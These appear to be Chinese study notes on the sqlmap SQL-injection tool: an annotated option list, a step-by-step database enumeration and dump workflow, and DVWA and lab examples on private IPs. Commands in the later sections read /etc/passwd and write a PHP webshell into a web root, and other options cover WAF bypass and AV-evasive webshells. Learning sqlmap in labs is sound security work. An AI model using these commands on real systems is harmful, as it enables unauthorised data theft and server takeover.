sqlmap学习笔记

sqlmap能让你生活更轻松…~

安装

安装:

1
sudo pacman -S sqlmap

windows系统下安装好python3并添加好python的环境变量后,直接将sqlmap的整个文件目录放到python安装目录下

  • 新建一个快捷方式-cmd
  • 名称随便
  • 右键cmd属性,将起始位置修改为sqlmap目录

参考链接:

帮助列表(部分)

sql 基本参数
要想更详细,请-hh

  • -h 帮助信息
  • -hh 更详细的帮助
  • -u 指定url(GET请求要手动输入好注入点,sqlmap不会自动帮你检测)
  • -m url列表(扫描多个)
  • -r 加载HTTP请求文件(POST)
  • -l 从请求日志文件中查找注入点
  • -g google dork(google hacking)
  • -c 指定配置文件
  • -p 指定扫描的参数 -p “user-agent,referer” 如果指定了user-agent测试,那么不设置–level也能测试user-agent了
  • –skip 排除指定的扫描参数
  • -A 指定User-Agent信息
  • -H 指定请求头信息
  • –user-agents=””(指定user-agent)
  • –random-agent (level>=3才启用 sqlmap检查user-agent的注入点)
  • –host 在主机信息头部注入,level=5
  • –referer referer头信息,level>=3
  • –headers 头部信息必须使用\n换行,因为http请求头每个占用一行
  • –method=GET/POST 指定http请求为
  • –data 数据段 get/post都适用(主要用于post)
  • –param-del 变量分隔符
  • –cookie 检测cookie信息,(格式–cookie=”a=123;b=123”)
  • set-cookie 检查cookie中的注入点 lever为2
  • –batch 检测注入点
  • –dbms 指定后端数据库
  • –os 指定系统linux/windows
  • -f 数据库系统指纹信息
  • -b DBMS操作系统等信息
  • –lever=[num] 设置等级(1-5)默认1级 级别越高探测信息越多,但是速度越慢
    • >=2 cookie
    • >=3 user-agent && Referef
    • >=5 host
  • –risk=[num] 设置风险等级(1-3)默认1级 (风险越高会测试更多语句,如插入语句,更新语句,删除语句等级越高入狱可能性越高)
    • 1 大部分测试语句
    • 2 增加基于事件的测试语句
    • 3 增加or语句的sql注入测试(在update的语句中注入一个or的测试语句,可能导致整个表的更新)
    • 测试的语句可以在xml/payloads.xml中找到
  • –dump 导出
  • –dbs 爆出所有数据库
  • –current-db 爆出当前数据库名字
  • –current-user 当前连接数据库的用户
  • –privileges[-U] 用户权限
  • –is-dba 判断当前用户是否为管理员
  • –users 枚举数据库所有用户
  • –tables 爆出数据库的表
  • –columns 爆出所有列
  • –schema 枚举information_schema
  • -D [database_name]指定数据库枚举
  • -T [table_name]指定数据表枚举
  • -C [column_name]指定数据列枚举
  • –common-tables暴力破解表
  • –common-columns暴力破解列
  • –os-shell 使用sqlmap获得一个交互shell
  • –dump-all 导出所有数据
  • -v[num] 0-6 设置信息输出等级,默认为1
    • 0 显示pythobn错误以及严重的信息
    • 1 同时显示基本信息和警告信息
    • 2 同时显示debug信息
    • 3 同时显示注入的payload
    • 4 同时显示HTTP请求
    • 5 同时显示HTTP响应头
    • 6 同时显示HTTP响应页面
  • –proxy=[http/https/socks5/socks4]://address:port 设置代理
  • –tor 使用tor代理(需要先配置好tor)
  • –check-tor 检测tor代理是否已使用
  • –second-url 双页面(dvwa-high)
  • –threads 最大并发线程(最大10)
  • -o开启前三个性能优化
  • –start [num] 与–stop配合,在获取信息时只获取指定的起始数值条数
  • –stop [num] 与–start配合,在获取信息时只获取指定的截止数值条数
  • –technique 指定选择的查询技术
    • B: Boolean-based blind SQL injection(布尔型注入)
    • E: Error-based SQL injection(报错型注入)
    • U: UNION query SQL injection(可联合查询注入)
    • S: Stacked queries SQL injection(堆叠注入)
    • T: Time-based blind SQL injection(基于时间延迟注入
  • –-time-sec 设置延时时间(默认是五秒,在使用tor/网络状态不好时可以调高)
  • –delay 下次请求的时间
  • –timeout 请求超时时间
  • –retrles 超时次数 默认三次
  • –randomize 长度
  • –scope 过滤日志内容(正则) 与-l配合使用
  • –sklp-urlencode 跳过url编码(适用于原始编码的网站)
  • –safe-url=[url] 设置目标网站能正常访问的地址作为安全链接地址(用于过滤一些防护)
  • –safe-freq=[num] 设置访问安全连接地址的频率,测试多少次后访问一次安全链接地址
  • –predict-output 优化性能,根据检测方法比对返回值和统计表内容,不断缩小检测范围,提高检测效率,与threads次数不兼容
  • –keep-alive 使用https长连接(保持存活,避免重复建立连接的网络开销,大量长连接会严重占用服务器资源) 代理服务器不支持长连接(与–proxy不兼容和)
  • –null-connection 获取相应的页面大小值,而非页面的具体内容,用于盲注降低网络资源消耗
  • –invalid-bignum 使用大数据使参数取值失效 id=909999
  • –invalid-logical 使用布尔判断使参数取值失效 id=13 and 18=19
  • –invalid-string 使用随机字符串使参数取值失效
  • –no-escape 不使用char()编码方式逃逸 由于混淆和避免出错的目的,payload使用单引号界定字符串时,sqlmap使用char()编码逃逸方法替换字符串
  • –tamper=”*.py” 过WAF
  • –string
  • –not-string
  • –regexp
  • –code
  • –text-only
  • –titles
  • –hex 使用16进制编码
  • –output-dir=/tmp 指定输出路径
  • –save 将命令保存为一个文件
  • -z 参数助记符
  • –answer 指定答案
  • –check-waf 检测WAF
  • –mobile 模拟手机设备(修改user-agent为收集浏览器)
  • –purge-output 清除output文件夹
  • –smart当有大量检测目标时,选择基于错误的检测结果
  • –wizard 交互性
  • –crawl [num] 爬虫,爬取可能存在的漏洞链接 num是数字深度
  • –forms 自动获取form表单测试
  • –beep 发现sql注入时,发出蜂鸣
  • –gpage 默认sqlmap使用前100个URL地址作为注入测试,对指定页面的URL测试
  • * 指定注入点(http://url//param1/value1*/param2/value2/) 跑伪静态网站
  • –file-read=RFILE 读取操作
  • –file-write=WFILE 写入操作
  • –file-dest=DFILE 绝对路径写入
  • –dns-domain 配合dns实现快速盲注

网站动态静态判断

document.lastModified(js函数)

基本步骤

1
2
3
4
5
6
7
8
9
10
11
12
1. 判断是否有注入
python sqlmap.py -u "http://.......?id=1" --batch
2. 查看所有数据库
python sqlmap.py -u "http://.......?id=1" --dbs
3. 查看当前使用的数据库
python sqlmap.py -u "http://.......?id=1" --current-db
4. 查看数据表
python sqlmap.py -u "http://.......?id=1" -D security --tables
5. 查看列名
python sqlmap.py -u "http://.......?id=1" -D security -T users --columns
6. 查看数据
python sqlmap.py -u "http://.......?id=1" -D security -T users --dump

双页面的sqlmap使用方法

例子:dvwa sql注入 high难度

1
sqlmap -u "http://192.168.2.243/dvwa/vulnerabilities/sqli/session-input.php/" --data="id=1&Submit=Submit" --second-url="http://192.168.2.243/dvwa/vulnerabilities/sqli/" --current-db --cookie="PHPSESSID=p97k25g7mflas2kbg0asg7m161;security=high" --dbms=mysql  -v 3 --dbs --threads=10

因为是post请求的,所以要加数据段--data,因为dvwa靶场要登录,所以也要携带cookie

safe-url用法

1
sqlmap -u "http://192.168.2.243/sql/less-1/?id=1" --safe-url="http://192.168.2.243/sql/less-1/" --safe-freq=2 --dbms=mysql

-u ‘url1’

–safe-url=’url2’ 安全页面

–safe-freq=2

意味着在测试两次url1后去访问一次安全页面url2

写web shell时会用到的参数

  • –file-read=RFILE 读取操作
  • –file-write=WFILE 写入操作
  • –file-dest=DFILE 绝对路径写入
  • –is-dba 判断当前用户是否为管理员

读取文件

1
sqlmap -u "http://192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value --file-read=/etc/passwd

写文件

1
sqlmap -u "http://192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value --file-write=/data/yjh.php --file-dest=/var/www/html/jabc/shell.php

tamper

https://xz.aliyun.com/t/2746

mssql

https://www.anquanke.com/post/id/156911

免杀webshell

https://www.sqlsec.com/2020/07/shell.html#toc-heading-25